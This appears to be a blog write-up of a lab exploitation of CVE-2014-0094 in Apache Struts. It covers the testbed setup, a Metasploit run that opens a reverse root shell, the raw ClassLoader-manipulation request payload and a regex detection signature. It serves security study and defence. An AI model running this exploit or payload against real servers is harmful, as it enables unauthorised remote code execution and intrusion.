# CVE-2014-0094: Apache Struts ClassLoader manipulation RCE


Testbed

# wget http://mirrors.ibiblio.org/apache/tomcat/tomcat-8/v8.0.18/bin/apache-tomcat-8.0.18.tar.gz
# tar xvzf apache-tomcat-8.0.18.tar.gz
# mv apache-tomcat-8.0.18 /opt/tomcat
# cat /etc/environment
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games"
export JAVA_HOME=/usr/lib/jvm/java-7-openjdk-amd64
export CATALINA_HOME=/opt/tomcat
# source /etc/environment
# grep -v -E "^(<\!| |-|$)" /opt/tomcat/conf/tomcat-users.xml
<?xml version='1.0' encoding='utf-8'?>
<tomcat-users>
<role rolename="manager-gui"/>
<user username="tomcat" password="s3cret" roles="manager-gui"/>
# $CATALINA_HOME/bin/startup.sh
Using CATALINA_BASE:   /opt/tomcat
Using CATALINA_HOME:   /opt/tomcat
Using CATALINA_TMPDIR: /opt/tomcat/temp
Using JRE_HOME:        /usr/lib/jvm/java-7-openjdk-amd64
Using CLASSPATH:       /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar
Tomcat started.
# wget http://archive.apache.org/dist/struts/binaries/struts-2.3.16-all.zip
# unzip struts-2.3.16-all.zip
# find struts-2.3.16 | grep '\.war'
struts-2.3.16/apps/struts2-portlet.war
struts-2.3.16/apps/struts2-blank.war
struts-2.3.16/apps/struts2-rest-showcase.war
struts-2.3.16/apps/struts2-mailreader.war
struts-2.3.16/apps/struts2-showcase.war
# ! From http://10.0.0.2:8080/manager/html deploy struts2-blank.war
# tail -f /opt/tomcat/logs/*

Exploitation

msf > search cve-2014-0094

Matching Modules
================

   Name                                             Disclosure Date  Rank    Description
   ----                                             ---------------  ----    -----------
   exploit/multi/http/struts_code_exec_classloader  2014-03-06       manual  Apache Struts ClassLoader Manipulation Remote Code Execution

msf > use exploit/multi/http/struts_code_exec_classloader
msf exploit(struts_code_exec_classloader) > set rhost 10.0.0.2
msf exploit(struts_code_exec_classloader) > set lhost 10.0.0.1
msf exploit(struts_code_exec_classloader) > set target 0
msf exploit(struts_code_exec_classloader) > show options

Module options (exploit/multi/http/struts_code_exec_classloader):

   Name            Current Setting                           Required  Description
   ----            ---------------                           --------  -----------
   Proxies                                                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST           10.0.0.2                                  yes       The target address
   RPORT           8080                                      yes       The target port
   SMB_DELAY       10                                        yes       Time that the SMB Server will wait for the payload request
   SRVHOST         0.0.0.0                                   yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT         445                                       yes       The local port to listen on.
   STRUTS_VERSION  2.x                                       yes       Apache Struts Framework version (accepted: 1.x, 2.x)
   TARGETURI       /struts2-blank/example/HelloWorld.action  yes       The path to a struts application action
   VHOST                                                     no        HTTP server virtual host


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.0.1         yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Java

msf exploit(struts_code_exec_classloader) > exploit

[*] Started reverse handler on 10.0.0.1:4444 
[*] 10.0.0.2:8080 - Modifying Class Loader...
[*] 10.0.0.2:8080 - Waiting for the server to flush the logfile
[+] 10.0.0.2:8080 - Log file flushed at http://10.0.0.2:8080/vi8294.jsp
[!] This exploit requires manual cleanup of 'vi8294.jsp' on the target
[*] 10.0.0.2:8080 - Generating JSP...
[*] 10.0.0.2:8080 - Dumping JSP into the logfile...
[*] 10.0.0.2:8080 - Waiting for the server to flush the logfile
[+] 10.0.0.2:8080 - Log file flushed at http://10.0.0.2:8080/vi8294.jsp
[*] Command shell session 2 opened (10.0.0.1:4444 -> 10.0.0.2:5555)

whoami
root

Defense: payload and signature

GET /struts2-blank/example/HelloWorld.action?
class['classLoader'].resources.context.parent.pipeline.first.directory=webapps/ROOT&
class['classLoader'].resources.context.parent.pipeline.first.prefix=0Ucn&
class['classLoader'].resources.context.parent.pipeline.first.suffix=.jsp&
class['classLoader'].resources.context.parent.pipeline.first.fileDateFormat=4 HTTP/1.1

Signature name = Apache Struts ClassLoader manipulation
part = "class", rgxp = "(.*\.|^|.*|\[('|\"))(c|C)lass(\.|('|\")\]|\[).*"
Search in : Parameters
Protocols : http, https

References

http://www.slideshare.net/testpurposes/deep-inside-the-java-framework-apache-struts
http://www.rapid7.com/db/modules/exploit/multi/http/struts_code_exec_classloader

No comments: